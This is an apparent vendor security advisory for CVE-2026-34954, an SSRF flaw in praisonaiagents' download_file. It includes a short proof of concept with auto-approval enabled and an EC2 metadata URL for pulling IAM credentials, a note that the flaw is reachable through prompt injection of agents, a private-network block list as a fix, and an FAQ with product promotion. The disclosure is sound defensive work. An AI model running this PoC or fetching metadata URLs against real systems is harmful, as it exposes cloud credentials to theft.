CVE-2026-34954

FileTools.download_file() in praisonaiagents validates the destination path but performs no validation on the url parameter, passing it directly to httpx.stream() with follow_redirects=True. An attacker who controls the URL can reach any host accessible from the server including cloud metadata services and internal network services.

Details

file_tools.py:259 (source) -> file_tools.py:296 (sink)

# source -- url taken directly from caller, no validation
def download_file(self, url: str, destination: str, ...):

# sink -- unvalidated url passed to httpx with redirect following
    with httpx.stream("GET", url, timeout=timeout, follow_redirects=True) as response:

PoC

# tested on: praisonaiagents==1.5.87 (source install)
# install: pip install -e src/praisonai-agents
# start listener: python3 -m http.server 8888

import os
os.environ['PRAISONAI_AUTO_APPROVE'] = 'true'
from praisonaiagents.tools.file_tools import download_file

result = download_file(
    url="http://127.0.0.1:8888/ssrf-test",
    destination="/tmp/ssrf_out.txt"
)
print(result)
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: url="http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# writes IAM credentials to destination file

On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service and write them to disk for subsequent agent steps to exfiltrate. follow_redirects=True enables open-redirect chaining to bypass partial URL filters. Reachable via indirect prompt injection with no authentication required.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-34954 has a CVSS score of 8.6 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.5.95); upgrading removes the vulnerable code path.

Kodem intelligence

from urllib.parse import urlparse
import ipaddress

BLOCKED_NETWORKS = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("169.254.0.0/16"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
]

def _validate_url(url: str) -> None:
    parsed = urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError(f"Scheme {parsed.scheme!r} not allowed")
    try:
        addr = ipaddress.ip_address(parsed.hostname)
        for net in BLOCKED_NETWORKS:
            if addr in net:
                raise ValueError(f"Requests to {addr} are not permitted")
    except ValueError as e:
        if "does not appear to be" not in str(e):
            raise

1. What is CVE-2026-34954? CVE-2026-34954 is a high-severity server-side request forgery (SSRF) vulnerability in praisonaiagents (pip), affecting versions <= 1.5.94. It is fixed in 1.5.95. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-34954? CVE-2026-34954 has a CVSS score of 8.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of praisonaiagents are affected by CVE-2026-34954? praisonaiagents (pip) versions <= 1.5.94 is affected.
4. Is there a fix for CVE-2026-34954? Yes. CVE-2026-34954 is fixed in 1.5.95. Upgrade to this version or later.
5. Is CVE-2026-34954 exploitable, and should I be worried? Whether CVE-2026-34954 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34954 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34954? Upgrade praisonaiagents to 1.5.95 or later.